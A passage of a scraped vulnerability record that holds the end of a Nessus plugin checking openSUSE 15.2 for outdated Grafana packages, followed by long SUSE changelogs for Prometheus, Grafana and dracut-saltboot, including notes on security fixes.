script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/06/28\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/07/20\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE15\\.2)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"15.2\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(x86_64)$\") audit(AUDIT_ARCH_NOT, \"x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE15.2\", reference:\"grafana-7.0.3-lp152.2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.2\", reference:\"grafana-debuginfo-7.0.3-lp152.2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.2\", reference:\"grafana-piechart-panel-1.4.0-lp152.2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.2\", reference:\"grafana-status-panel-1.0.9-lp152.2.3.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"grafana-piechart-panel / grafana-status-panel / grafana / etc\");\n}\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-09-14T17:07:20", "description": "This update fixes the following issues :\n\ndracut-saltboot :\n\n - Print a list of available disk devices (bsc#1170824)\n\n - Install wipefs to initrd\n\n - Force install crypt modules\n\ngolang-github-prometheus-prometheus :\n\n - Update change log and spec file\n\n + Modified spec file: default to golang 1.14 to avoid\n 'have choice' build issues in OBS. \n\n + Rebase and update patches for version 2.18.0\n\n - Update to 2.18.0 \n\n + Features \n\n - Tracing: Added experimental Jaeger support #7148\n\n + Changes\n\n - Federation: Only use local TSDB for federation (ignore\n remote read). #7096\n\n - Rules: `rule_evaluations_total` and\n `rule_evaluation_failures_total` have a `rule_group`\n label now. #7094\n\n + Enhancements\n\n - TSDB: Significantly reduce WAL size kept around after a\n block cut. #7098\n\n - Discovery: Add `architecture` meta label for EC2. #7000\n\n + Bug fixes\n\n - UI: Fixed wrong MinTime reported by /status. #7182\n\n - React UI: Fixed multiselect legend on OSX. #6880\n\n - Remote Write: Fixed blocked resharding edge case. #7122\n\n - Remote Write: Fixed remote write not updating on relabel\n configs change. #7073\n\n - Changes from 2.17.2\n\n + Bug fixes\n\n - Federation: Register federation metrics #7081\n\n - PromQL: Fix panic in parser error handling #7132\n\n - Rules: Fix reloads hanging when deleting a rule group\n that is being evaluated #7138\n\n - TSDB: Fix a memory leak when prometheus starts with an\n empty TSDB WAL #7135\n\n - TSDB: Make isolation more robust to panics in web\n handlers #7129 #7136\n\n - Changes from 2.17.1\n\n + Bug fixes\n\n - TSDB: Fix query performance regression that increased\n memory and CPU usage #7051\n\n - Changes from 2.17.0\n\n + Features \n\n - TSDB: Support isolation #6841\n\n - This release implements isolation in TSDB. API queries\n and recording rules are guaranteed to only see full\n scrapes and full recording rules. This comes with a\n certain overhead in resource usage. Depending on the\n situation, there might be some increase in memory usage,\n CPU usage, or query latency.\n\n + Enhancements\n\n - PromQL: Allow more keywords as metric names #6933\n\n - React UI: Add normalization of localhost URLs in targets\n page #6794\n\n - Remote read: Read from remote storage concurrently #6770\n\n - Rules: Mark deleted rule series as stale after a reload\n #6745\n\n - Scrape: Log scrape append failures as debug rather than\n warn #6852\n\n - TSDB: Improve query performance for queries that\n partially hit the head #6676\n\n - Consul SD: Expose service health as meta label #5313\n\n - EC2 SD: Expose EC2 instance lifecycle as meta label\n #6914\n\n - Kubernetes SD: Expose service type as meta label for K8s\n service role #6684\n\n - Kubernetes SD: Expose label_selector and field_selector\n #6807\n\n - Openstack SD: Expose hypervisor id as meta label #6962\n\n + Bug fixes\n\n - PromQL: Do not escape HTML-like chars in query log #6834\n #6795\n\n - React UI: Fix data table matrix values #6896\n\n - React UI: Fix new targets page not loading when using\n non-ASCII characters #6892\n\n - Remote read: Fix duplication of metrics read from remote\n storage with external labels #6967 #7018\n\n - Remote write: Register WAL watcher and live reader\n metrics for all remotes, not just the first one #6998\n\n - Scrape: Prevent removal of metric names upon relabeling\n #6891\n\n - Scrape: Fix 'superfluous response.WriteHeader call'\n errors when scrape fails under some circonstances #6986\n\n - Scrape: Fix crash when reloads are separated by two\n scrape intervals #7011\n\n - Changes from 2.16.0\n\n + Features \n\n - React UI: Support local timezone on /graph #6692\n\n - PromQL: add absent_over_time query function #6490\n\n - Adding optional logging of queries to their own file\n #6520\n\n + Enhancements\n\n - React UI: Add support for rules page and 'Xs ago'\n duration displays #6503\n\n - React UI: alerts page, replace filtering togglers tabs\n with checkboxes #6543\n\n - TSDB: Export metric for WAL write errors #6647\n\n - TSDB: Improve query performance for queries that only\n touch the most recent 2h of data. #6651\n\n - PromQL: Refactoring in parser errors to improve error\n messages #6634\n\n - PromQL: Support trailing commas in grouping opts #6480\n\n - Scrape: Reduce memory usage on reloads by reusing scrape\n cache #6670\n\n - Scrape: Add metrics to track bytes and entries in the\n metadata cache #6675\n\n - promtool: Add support for line-column numbers for\n invalid rules output #6533\n\n - Avoid restarting rule groups when it is unnecessary\n #6450\n\n + Bug fixes\n\n - React UI: Send cookies on fetch() on older browsers\n #6553\n\n - React UI: adopt grafana flot fix for stacked graphs\n #6603\n\n - React UI: broken graph page browser history so that back\n button works as expected #6659\n\n - TSDB: ensure compactionsSkipped metric is registered,\n and log proper error if one is returned from head.Init\n #6616\n\n - TSDB: return an error on ingesting series with duplicate\n labels #6664\n\n - PromQL: Fix unary operator precedence #6579\n\n - PromQL: Respect query.timeout even when we reach\n query.max-concurrency #6712\n\n - PromQL: Fix string and parentheses handling in engine,\n which affected React UI #6612\n\n - PromQL: Remove output labels returned by absent() if\n they are produced by multiple identical label matchers\n #6493\n\n - Scrape: Validate that OpenMetrics input ends with `#\n EOF` #6505\n\n - Remote read: return the correct error if configs can't\n be marshal'd to JSON #6622\n\n - Remote write: Make remote client `Store` use passed\n context, which can affect shutdown timing #6673\n\n - Remote write: Improve sharding calculation in cases\n where we would always be consistently behind by tracking\n pendingSamples #6511\n\n - Ensure prometheus_rule_group metrics are deleted when a\n rule group is removed #6693\n\n - Changes from 2.15.2\n\n + Bug fixes\n\n - TSDB: Fixed support for TSDB blocks built with\n Prometheus before 2.1.0. #6564\n\n - TSDB: Fixed block compaction issues on Windows. #6547\n\n - Changes from 2.15.1\n\n + Bug fixes\n\n - TSDB: Fixed race on concurrent queries against same\n data. #6512\n\n - Changes from 2.15.0\n\n + Features \n\n - API: Added new endpoint for exposing per metric metadata\n `/metadata`. #6420 #6442\n\n + Changes\n\n - Discovery: Removed `prometheus_sd_kubernetes_cache_*`\n metrics. Additionally\n `prometheus_sd_kubernetes_workqueue_latency_seconds` and\n `prometheus_sd_kubernetes_workqueue_work_duration_second\n s` metrics now show correct values in seconds. #6393\n\n - Remote write: Changed `query` label on\n `prometheus_remote_storage_*` metrics to `remote_name`\n and `url`. #6043\n\n + Enhancements\n\n - TSDB: Significantly reduced memory footprint of loaded\n TSDB blocks. #6418 #6461\n\n - TSDB: Significantly optimized what we buffer during\n compaction which should result in lower memory footprint\n during compaction. #6422 #6452 #6468 #6475\n\n - TSDB: Improve replay latency. #6230\n\n - TSDB: WAL size is now used for size based retention\n calculation. #5886\n\n - Remote read: Added query grouping and range hints to the\n remote read request #6401\n\n - Remote write: Added\n `prometheus_remote_storage_sent_bytes_total` counter per\n queue. #6344\n\n - promql: Improved PromQL parser performance. #6356\n\n - React UI: Implemented missing pages like `/targets`\n #6276, TSDB status page #6281 #6267 and many other fixes\n and performance improvements.\n\n - promql: Prometheus now accepts spaces between time range\n and square bracket. e.g `[ 5m]` #6065 \n\n + Bug fixes\n\n - Config: Fixed alertmanager configuration to not miss\n targets when configurations are similar. #6455\n\n - Remote write: Value of\n `prometheus_remote_storage_shards_desired` gauge shows\n raw value of desired shards and it's updated correctly.\n #6378\n\n - Rules: Prometheus now fails the evaluation of rules and\n alerts where metric results collide with labels\n specified in `labels` field. #6469\n\n - API: Targets Metadata API `/targets/metadata` now\n accepts empty `match_targets` parameter as in the spec.\n #6303\n\n - Changes from 2.14.0\n\n + Features \n\n - API: `/api/v1/status/runtimeinfo` and\n `/api/v1/status/buildinfo` endpoints added for use by\n the React UI. #6243\n\n - React UI: implement the new experimental React based UI.\n #5694 and many more\n\n - Can be found by under `/new`.\n\n - Not all pages are implemented yet.\n\n - Status: Cardinality statistics added to the Runtime &\n Build Information page. #6125\n\n + Enhancements\n\n - Remote write: fix delays in remote write after a\n compaction. #6021\n\n - UI: Alerts can be filtered by state. #5758\n\n + Bug fixes\n\n - Ensure warnings from the API are escaped. #6279\n\n - API: lifecycle endpoints return 403 when not enabled.\n #6057\n\n - Build: Fix Solaris build. #6149\n\n - Promtool: Remove false duplicate rule warnings when\n checking rule files with alerts. #6270\n\n - Remote write: restore use of deduplicating logger in\n remote write. #6113\n\n - Remote write: do not reshard when unable to send\n samples. #6111\n\n - Service discovery: errors are no longer logged on\n context cancellation. #6116, #6133\n\n - UI: handle null response from API properly. #6071\n\n - Changes from 2.13.1\n\n + Bug fixes\n\n - Fix panic in ARM builds of Prometheus. #6110\n\n - promql: fix potential panic in the query logger. #6094\n\n - Multiple errors of http: superfluous\n response.WriteHeader call in the logs. #6145\n\n - Changes from 2.13.0\n\n + Enhancements\n\n - Metrics: renamed prometheus_sd_configs_failed_total to\n prometheus_sd_failed_configs and changed to Gauge #5254\n\n - Include the tsdb tool in builds. #6089\n\n - Service discovery: add new node address types for\n kubernetes. #5902\n\n - UI: show warnings if query have returned some warnings.\n #5964\n\n - Remote write: reduce memory usage of the series cache.\n #5849\n\n - Remote read: use remote read streaming to reduce memory\n usage. #5703\n\n - Metrics: added metrics for remote write max/min/desired\n shards to queue manager. #5787\n\n - Promtool: show the warnings during label query. #5924\n\n - Promtool: improve error messages when parsing bad rules.\n #5965\n\n - Promtool: more promlint rules. #5515\n\n + Bug fixes\n\n - UI: Fix a Stored DOM XSS vulnerability with query\n history\n [CVE-2019-10215](http://cve.mitre.org/cgi-bin/cvename.cg\n i?name=CVE-2019-10215). #6098\n\n - Promtool: fix recording inconsistency due to duplicate\n labels. #6026\n\n - UI: fixes service-discovery view when accessed from\n unhealthy targets. #5915\n\n - Metrics format: OpenMetrics parser crashes on short\n input. #5939\n\n - UI: avoid truncated Y-axis values. #6014\n\n - Changes from 2.12.0\n\n + Features \n\n - Track currently active PromQL queries in a log file.\n #5794\n\n - Enable and provide binaries for `mips64` / `mips64le`\n architectures. #5792\n\n + Enhancements\n\n - Improve responsiveness of targets web UI and API\n endpoint. #5740\n\n - Improve remote write desired shards calculation. #5763\n\n - Flush TSDB pages more precisely. tsdb#660\n\n - Add `prometheus_tsdb_retention_limit_bytes` metric.\n tsdb#667\n\n - Add logging during TSDB WAL replay on startup. tsdb#662\n\n - Improve TSDB memory usage. tsdb#653, tsdb#643, tsdb#654,\n tsdb#642, tsdb#627\n\n + Bug fixes\n\n - Check for duplicate label names in remote read. #5829\n\n - Mark deleted rules' series as stale on next evaluation.\n #5759\n\n - Fix JavaScript error when showing warning about\n out-of-sync server time. #5833\n\n - Fix `promtool test rules` panic when providing empty\n `exp_labels`. #5774\n\n - Only check last directory when discovering checkpoint\n number. #5756\n\n - Fix error propagation in WAL watcher helper functions.\n #5741\n\n - Correctly handle empty labels from alert templates.\n #5845\n\n - Update Uyuni/SUSE Manager service discovery patch\n\n + Adapt service discovery to the new Uyuni API endpoints\n\n + Modified spec file: force golang 1.12 to fix build\n issues in SLE15SP2\n\n - Update to Prometheus 2.11.2\n\ngrafana :\n\n - Update to version 7.0.3\n\n - Features / Enhancements\n\n - Stats: include all fields. #24829, @ryantxu\n\n - Variables: change VariableEditorList row action Icon to\n IconButton. #25217, @hshoff\n\n - Bug fixes\n\n - Cloudwatch: Fix dimensions of DDoSProtection. #25317,\n @papagian\n\n - Configuration: Fix env var override of sections\n containing hyphen. #25178, @marefr\n\n - Dashboard: Get panels in collapsed rows. #25079,\n @peterholmberg\n\n - Do not show alerts tab when alerting is disabled.\n #25285, @dprokop\n\n - Jaeger: fixes cascader option label duration value.\n #25129, @Estrax\n\n - Transformations: Fixed Transform tab crash & no update\n after adding first transform. #25152, @torkelo\n\n - Update to version 7.0.2\n\n - Bug fixes\n\n - Security: Urgent security patch release to fix\n CVE-2020-13379\n\n - Update to version 7.0.1\n\n - Features / Enhancements\n\n - Datasource/CloudWatch: Makes CloudWatch Logs query\n history more readable. #24795, @kaydelaney\n\n - Download CSV: Add date and time formatting. #24992,\n @ryantxu\n\n - Table: Make last cell value visible when right aligned.\n #24921, @peterholmberg\n\n - TablePanel: Adding sort order persistance. #24705,\n @torkelo\n\n - Transformations: Display correct field name when using\n reduce transformation. #25068, @peterholmberg\n\n - Transformations: Allow custom number input for binary\n operations. #24752, @ryantxu\n\n - Bug fixes\n\n - Dashboard/Links: Fixes dashboard links by tags not\n working. #24773, @KamalGalrani\n\n - Dashboard/Links: Fixes open in new window for dashboard\n link. #24772, @KamalGalrani\n\n - Dashboard/Links: Variables are resolved and limits to\n 100. #25076, @hugohaggmark\n\n - DataLinks: Bring back variables interpolation in title.\n #24970, @dprokop\n\n - Datasource/CloudWatch: Field suggestions no longer\n limited to prefix-only. #24855, @kaydelaney\n\n - Explore/Table: Keep existing field types if possible.\n #24944, @kaydelaney\n\n - Explore: Fix wrap lines toggle for results of queries\n with filter expression. #24915, @ivanahuckova\n\n - Explore: fix undo in query editor. #24797, @zoltanbedi\n\n - Explore: fix word break in type head info. #25014,\n @zoltanbedi\n\n - Graph: Legend decimals now work as expected. #24931,\n @torkelo\n\n - LoginPage: Fix hover color for service buttons. #25009,\n @tskarhed\n\n - LogsPanel: Fix scrollbar. #24850, @ivanahuckova\n\n - MoveDashboard: Fix for moving dashboard caused all\n variables to be lost. #25005, @torkelo\n\n - Organize transformer: Use display name in field order\n comparer. #24984, @dprokop\n\n - Panel: shows correct panel menu items in view mode.\n #24912, @hugohaggmark\n\n - PanelEditor Fix missing labels and description if there\n is only single option in category. #24905, @dprokop\n\n - PanelEditor: Overrides name matcher still show all\n original field names even after Field default display\n name is specified. #24933, @torkelo\n\n - PanelInspector: Makes sure Data display options are\n visible. #24902, @hugohaggmark\n\n - PanelInspector: Hides unsupported data display options\n for Panel type. #24918, @hugohaggmark\n\n - PanelMenu: Make menu disappear on button press. #25015,\n @tskarhed\n\n - Postgres: Fix add button. #25087, @phemmer\n\n - Prometheus: Fix recording rules expansion. #24977,\n @ivanahuckova\n\n - Stackdriver: Fix creating Service Level Objectives (SLO)\n datasource query variable. #25023, @papagian\n\n - Update to version 7.0.0 \n\n - Breaking changes\n\n - Removed PhantomJS: PhantomJS was deprecated in Grafana\n v6.4 and starting from Grafana v7.0.0, all PhantomJS\n support has been removed. This means that Grafana no\n longer ships with a built-in image renderer, and we\n advise you to install the Grafana Image Renderer plugin.\n\n - Dashboard: A global minimum dashboard refresh interval\n is now enforced and defaults to 5 seconds.\n\n - Interval calculation: There is now a new option Max data\n points that controls the auto interval $__interval\n calculation. Interval was previously calculated by\n dividing the panel width by the time range. With the new\n max data points option it is now easy to set $__interval\n to a dynamic value that is time range agnostic. For\n example if you set Max data points to 10 Grafana will\n dynamically set $__interval by dividing the current time\n range by 10.\n\n - Datasource/Loki: Support for deprecated Loki endpoints\n has been removed.\n\n - Backend plugins: Grafana now requires backend plugins to\n be signed, otherwise Grafana will not load/start them.\n This is an additional security measure to make sure\n backend plugin binaries and files haven't been tampered\n with. Refer to Upgrade Grafana for more information.\n\n - @grafana/ui: Forms migration notice, see @grafana/ui\n changelog\n\n - @grafana/ui: Select API change for creating custom\n values, see @grafana/ui changelog\n\n + Deprecation warnings\n\n - Scripted dashboards is now deprecated. The feature is\n not removed but will be in a future release. We hope to\n address the underlying requirement of dynamic dashboards\n in a different way. #24059\n\n - The unofficial first version of backend plugins together\n with usage of grafana/grafana-plugin-model is now\n deprecated and support for that will be removed in a\n future release. Please refer to backend plugins\n documentation for information about the new officially\n supported backend plugins.\n\n - Features / Enhancements\n\n - Backend plugins: Log deprecation warning when using the\n unofficial first version of backend plugins. #24675,\n @marefr\n\n - Editor: New line on Enter, run query on Shift+Enter.\n #24654, @davkal\n\n - Loki: Allow multiple derived fields with the same name.\n #24437, @aocenas\n\n - Orgs: Add future deprecation notice. #24502, @torkelo\n\n - Bug Fixes\n\n - @grafana/toolkit: Use process.cwd() instead of PWD to\n get directory. #24677, @zoltanbedi\n\n - Admin: Makes long settings values line break in settings\n page. #24559, @hugohaggmark\n\n - Dashboard: Allow editing provisioned dashboard JSON and\n add confirmation when JSON is copied to dashboard.\n #24680, @dprokop\n\n - Dashboard: Fix for strange 'dashboard not found' errors\n when opening links in dashboard settings. #24416,\n @torkelo\n\n - Dashboard: Fix so default data source is selected when\n data source can't be found in panel editor. #24526,\n @mckn\n\n - Dashboard: Fixed issue changing a panel from transparent\n back to normal in panel editor. #24483, @torkelo\n\n - Dashboard: Make header names reflect the field name when\n exporting to CSV file from the the panel inspector.\n #24624, @peterholmberg\n\n - Dashboard: Make sure side pane is displayed with tabs by\n default in panel editor. #24636, @dprokop\n\n - Data source: Fix query/annotation help content\n formatting. #24687, @AgnesToulet\n\n - Data source: Fixes async mount errors. #24579, @Estrax\n\n - Data source: Fixes saving a data source without failure\n when URL doesn't specify a protocol. #24497, @aknuds1\n\n - Explore/Prometheus: Show results of instant queries only\n in table. #24508, @ivanahuckova\n\n - Explore: Fix rendering of react query editors. #24593,\n @ivanahuckova\n\n - Explore: Fixes loading more logs in logs context view.\n #24135, @Estrax\n\n - Graphite: Fix schema and dedupe strategy in rollup\n indicators for Metrictank queries. #24685, @torkelo\n\n - Graphite: Makes query annotations work again. #24556,\n @hugohaggmark\n\n - Logs: Clicking 'Load more' from context overlay doesn't\n expand log row. #24299, @kaydelaney\n\n - Logs: Fix total bytes process calculation. #24691,\n @davkal\n\n - Org/user/team preferences: Fixes so UI Theme can be set\n back to Default. #24628, @AgnesToulet\n\n - Plugins: Fix manifest validation. #24573, @aknuds1\n\n - Provisioning: Use proxy as default access mode in\n provisioning. #24669, @bergquist\n\n - Search: Fix select item when pressing enter and Grafana\n is served using a sub path. #24634, @tskarhed\n\n - Search: Save folder expanded state. #24496, @Clarity-89\n\n - Security: Tag value sanitization fix in OpenTSDB data\n source. #24539, @rotemreiss\n\n - Table: Do not include angular options in options when\n switching from angular panel. #24684, @torkelo\n\n - Table: Fixed persisting column resize for time series\n fields. #24505, @torkelo\n\n - Table: Fixes Cannot read property subRows of null.\n #24578, @hugohaggmark\n\n - Time picker: Fixed so you can enter a relative range in\n the time picker without being converted to absolute\n range. #24534, @mckn\n\n - Transformations: Make transform dropdowns not cropped.\n #24615, @dprokop\n\n - Transformations: Sort order should be preserved as\n entered by user when using the reduce transformation.\n #24494, @hugohaggmark\n\n - Units: Adds scale symbol for currencies with suffixed\n symbol. #24678, @hugohaggmark\n\n - Variables: Fixes filtering options with more than 1000\n entries. #24614, @hugohaggmark\n\n - Variables: Fixes so Textbox variables read value from\n url. #24623, @hugohaggmark\n\n - Zipkin: Fix error when span contains remoteEndpoint.\n #24524, @aocenas\n\n - SAML: Switch from email to login for user login\n attribute mapping (Enterprise)\n\n - Update Makefile and spec file\n\n - Remove phantomJS patch from Makefile \n\n - Fix multiline strings in Makefile\n\n - Exclude s390 from SLE12 builds, golang 1.14 is not built\n for s390\n\n - Add instructions for patching the Grafana JavaScript\n frontend.\n\n - BuildRequires golang(API) instead of go metapackage\n version range\n\n - BuildRequires: golang(API) >= 1.14 from BuildRequires: (\n go >= 1.14 with go < 1.15 )\n\n - Update to version 6.7.3\n\n - This version fixes bsc#1170557 and its corresponding\n CVE-2020-12245\n\n - Admin: Fix Synced via LDAP message for non-LDAP external\n users. #23477, @alexanderzobnin\n\n - Alerting: Fixes notifications for alerts with empty\n message in Google Hangouts notifier. #23559,\n @hugohaggmark\n\n - AuthProxy: Fixes bug where long username could not be\n cached.. #22926, @jcmcken\n\n - Dashboard: Fix saving dashboard when editing raw\n dashboard JSON model. #23314, @peterholmberg\n\n - Dashboard: Try to parse 8 and 15 digit numbers as\n timestamps if parsing of time range as date fails.\n #21694, @jessetan\n\n - DashboardListPanel: Fixed problem with empty panel after\n going into edit mode (General folder filter being\n automatically added) . #23426, @torkelo\n\n - Data source: Handle datasource withCredentials option\n properly. #23380, @hvtuananh\n\n - Security: Fix annotation popup XSS vulnerability.\n #23813, @torkelo\n\n - Server: Exit Grafana with status code 0 if no error.\n #23312, @aknuds1\n\n - TablePanel: Fix XSS issue in header column rename\n (backport). #23814, @torkelo\n\n - Variables: Fixes error when setting adhoc variable\n values. #23580, @hugohaggmark\n\n - Update to version 6.7.2: (see installed changelog for\n the full list of changes)\n\n - BackendSrv: Adds config to response to fix issue for\n external plugins that used this property . #23032,\n @torkelo\n\n - Dashboard: Fixed issue with saving new dashboard after\n changing title . #23104, @dprokop\n\n - DataLinks: make sure we use the correct datapoint when\n dataset contains null value.. #22981, @mckn\n\n - Plugins: Fixed issue for plugins that imported dateMath\n util . #23069, @mckn\n\n - Security: Fix for dashboard snapshot original dashboard\n link could contain XSS vulnerability in url. #23254,\n @torkelo\n\n - Variables: Fixes issue with too many queries being\n issued for nested template variables after value change.\n #23220, @torkelo\n\n - Plugins: Expose promiseToDigest. #23249, @torkelo\n\n - Reporting (Enterprise): Fixes issue updating a report\n created by someone else\n\n - Update to 6.7.1: (see installed changelog for the full\n list of changes) Bug Fixes\n\n - Azure: Fixed dropdowns not showing current value.\n #22914, @torkelo\n\n - BackendSrv: only add content-type on POST, PUT requests.\n #22910, @hugohaggmark\n\n - Panels: Fixed size issue with panel internal size when\n exiting panel edit mode. #22912, @torkelo\n\n - Reporting: fixes migrations compatibility with mysql\n (Enterprise)\n\n - Reporting: Reduce default concurrency limit to 4\n (Enterprise)\n\n - Update to 6.7.0: (see installed changelog for the full\n list of changes) Bug Fixes\n\n - AngularPanels: Fixed inner height calculation for\n angular panels . #22796, @torkelo\n\n - BackendSrv: makes sure provided headers are correctly\n recognized and set. #22778, @hugohaggmark\n\n - Forms: Fix input suffix position (caret-down in Select)\n . #22780, @torkelo\n\n - Graphite: Fixed issue with query editor and next select\n metric now showing after selecting metric node . #22856,\n @torkelo\n\n - Rich History: UX adjustments and fixes. #22729,\n @ivanahuckova\n\n - Update to 6.7.0-beta1: Breaking changes\n\n - Slack: Removed Mention setting and instead introduce\n Mention Users, Mention Groups, and Mention Channel. The\n first two settings require user and group IDs,\n respectively. This change was necessary because the way\n of mentioning via the Slack API changed and mentions in\n Slack notifications no longer worked.\n\n - Alerting: Reverts the behavior of diff and percent_diff\n to not always be absolute. Something we introduced by\n mistake in 6.1.0. Alerting now support diff(),\n diff_abs(), percent_diff() and percent_diff_abs().\n #21338\n\n - Notice about changes in backendSrv for plugin authors In\n our mission to migrate away from AngularJS to React we\n have removed all AngularJS dependencies in the core data\n retrieval service backendSrv. Removing the AngularJS\n dependencies in backendSrv has the unfortunate side\n effect of AngularJS digest no longer being triggered for\n any request made with backendSrv. Because of this,\n external plugins using backendSrv directly may suffer\n from strange behaviour in the UI. To remedy this issue,\n as a plugin author you need to trigger the digest after\n a direct call to backendSrv. Bug Fixes API: Fix redirect\n issues. #22285, @papagian Alerting: Don't include\n image_url field with Slack message if empty. #22372,\n @aknuds1 Alerting: Fixed bad background color for\n default notifications in alert tab . #22660, @krvajal\n Annotations: In table panel when setting transform to\n annotation, they will now show up right away without a\n manual refresh. #22323, @krvajal Azure Monitor: Fix app\n insights source to allow for new __timeFrom and\n __timeTo. #21879, @ChadNedzlek BackendSrv: Fixes POST\n body for form data. #21714, @hugohaggmark CloudWatch:\n Credentials cache invalidation fix. #22473, @sunker\n CloudWatch: Expand alias variables when query yields no\n result. #22695, @sunker Dashboard: Fix bug with NaN in\n alerting. #22053, @a-melnyk Explore: Fix display of\n multiline logs in log panel and explore. #22057,\n @thomasdraebing Heatmap: Legend color range is incorrect\n when using custom min/max. #21748, @sv5d Security: Fixed\n XSS issue in dashboard history diff . #22680, @torkelo\n StatPanel: Fixes base color is being used for null\n values . #22646, @torkelo\n\n - Update to version 6.6.2: (see installed changelog for\n the full list of changes)\n\n - Update to version 6.6.1: (see installed changelog for\n the full list of changes)\n\n - Update to version 6.6.0: (see installed changelog for\n the full list of changes)\n\n - Update to version 6.5.3: (see installed changelog for\n the full list of changes)\n\n - Update to version 6.5.2: (see installed changelog for\n the full list of changes)\n\n - Update to version 6.5.1: (see installed changelog for\n the full list of changes)\n\n - Update to version 6.5.0 (see installed changelog for the\n full list of changes)\n\n - Update to version 6.4.5 :\n\n - Create version 6.4.5\n\n - CloudWatch: Fix high CPU load (#20579)\n\n - Add obs-service-go_modules to download required modules\n into vendor.tar.gz\n\n - Adjusted spec file to use vendor.tar.gz\n\n - Adjusted Makefile to work with new filenames\n\n - BuildRequire go1.14\n\n - Update to version 6.4.4 :\n\n - DataLinks: Fix blur issues. #19883, @aocenas\n\n - Docker: Makes it possible to parse timezones in the\n docker image. #20081, @xlson\n\n - LDAP: All LDAP servers should be tried even if one of\n them returns a connection error. #20077, @jongyllen\n\n - LDAP: No longer shows incorrectly matching groups based\n on role in debug page. #20018, @xlson\n\n - Singlestat: Fix no data / null value mapping . #19951,\n @ryantxu\n\n - Revert the spec file and make script\n\n - Remove PhantomJS dependency\n\n - Update to 6.4.3\n\n - Bug Fixes\n\n - Alerting: All notification channels should send even if\n one fails to send. #19807, @jan25\n\n - AzureMonitor: Fix slate interference with dropdowns.\n #19799, @aocenas\n\n - ContextMenu: make ContextMenu positioning aware of the\n viewport width. #19699, @krvajal\n\n - DataLinks: Fix context menu not showing in\n singlestat-ish visualisations. #19809, @dprokop\n\n - DataLinks: Fix url field not releasing focus. #19804,\n @aocenas\n\n - Datasource: Fixes clicking outside of some query editors\n required 2 clicks. #19822, @aocenas\n\n - Panels: Fixes default tab for visualizations without\n Queries Tab. #19803, @hugohaggmark\n\n - Singlestat: Fixed issue with mapping null to text.\n #19689, @torkelo\n\n - @grafana/toolkit: Don't fail plugin creation when git\n user.name config is not set. #19821, @dprokop\n\n - @grafana/toolkit: TSLint line number off by 1. #19782,\n @fredwangwang\n\n - Update to 6.4.2\n\n - Bug Fixes\n\n - CloudWatch: Changes incorrect dimension wmlid to wlmid .\n #19679, @ATTron\n\n - Grafana Image Renderer: Fixes plugin page. #19664,\n @hugohaggmark\n\n - Graph: Fixes auto decimals logic for y axis ticks that\n results in too many decimals for high values. #19618,\n @torkelo\n\n - Graph: Switching to series mode should re-render graph.\n #19623, @torkelo\n\n - Loki: Fix autocomplete on label values. #19579, @aocenas\n\n - Loki: Removes live option for logs panel. #19533,\n @davkal\n\n - Profile: Fix issue with user profile not showing more\n than sessions sessions in some cases. #19578,\n @huynhsamha\n\n - Prometheus: Fixes so results in Panel always are sorted\n by query order. #19597, @hugohaggmark\n\n - ShareQuery: Fixed issue when using -- Dashboard --\n datasource (to share query result) when dashboard had\n rows. #19610, @torkelo\n\n - Show SAML login button if SAML is enabled. #19591,\n @papagian\n\n - SingleStat: Fixes postfix/prefix usage. #19687,\n @hugohaggmark\n\n - Table: Proper handling of json data with dataframes.\n #19596, @marefr\n\n - Units: Fixed wrong id for Terabits/sec. #19611,\n @andreaslangnevyjel\n\n - Changes from 6.4.1\n\n - Bug Fixes\n\n - Provisioning: Fixed issue where empty nested keys in\n YAML provisioning caused a server crash, #19547\n\n - ImageRendering: Fixed issue with image rendering in\n enterprise build (Enterprise)\n\n - Reporting: Fixed issue with reporting service when STMP\n was disabled (Enterprise).\n\n - Changes from 6.4.0\n\n - Features / Enhancements\n\n - Build: Upgrade go to 1.12.10. #19499, @marefr\n\n - DataLinks: Suggestions menu improvements. #19396,\n @dprokop\n\n - Explore: Take root_url setting into account when\n redirecting from dashboard to explore. #19447,\n @ivanahuckova\n\n - Explore: Update broken link to logql docs. #19510,\n @ivanahuckova\n\n - Logs: Adds Logs Panel as a visualization. #19504,\n @davkal\n\n - Bug Fixes\n\n - CLI: Fix version selection for plugin install. #19498,\n @aocenas\n\n - Graph: Fixes minor issue with series override color\n picker and custom color . #19516, @torkelo\n\n - Changes from 6.4.0 Beta 2\n\n - Features / Enhancements\n\n - Azure Monitor: Remove support for cross resource queries\n (#19115)'. #19346, @sunker\n\n - Docker: Upgrade packages to resolve reported\n vulnerabilities. #19188, @marefr\n\n - Graphite: Time range expansion reduced from 1 minute to\n 1 second. #19246, @torkelo\n\n - grafana/toolkit: Add 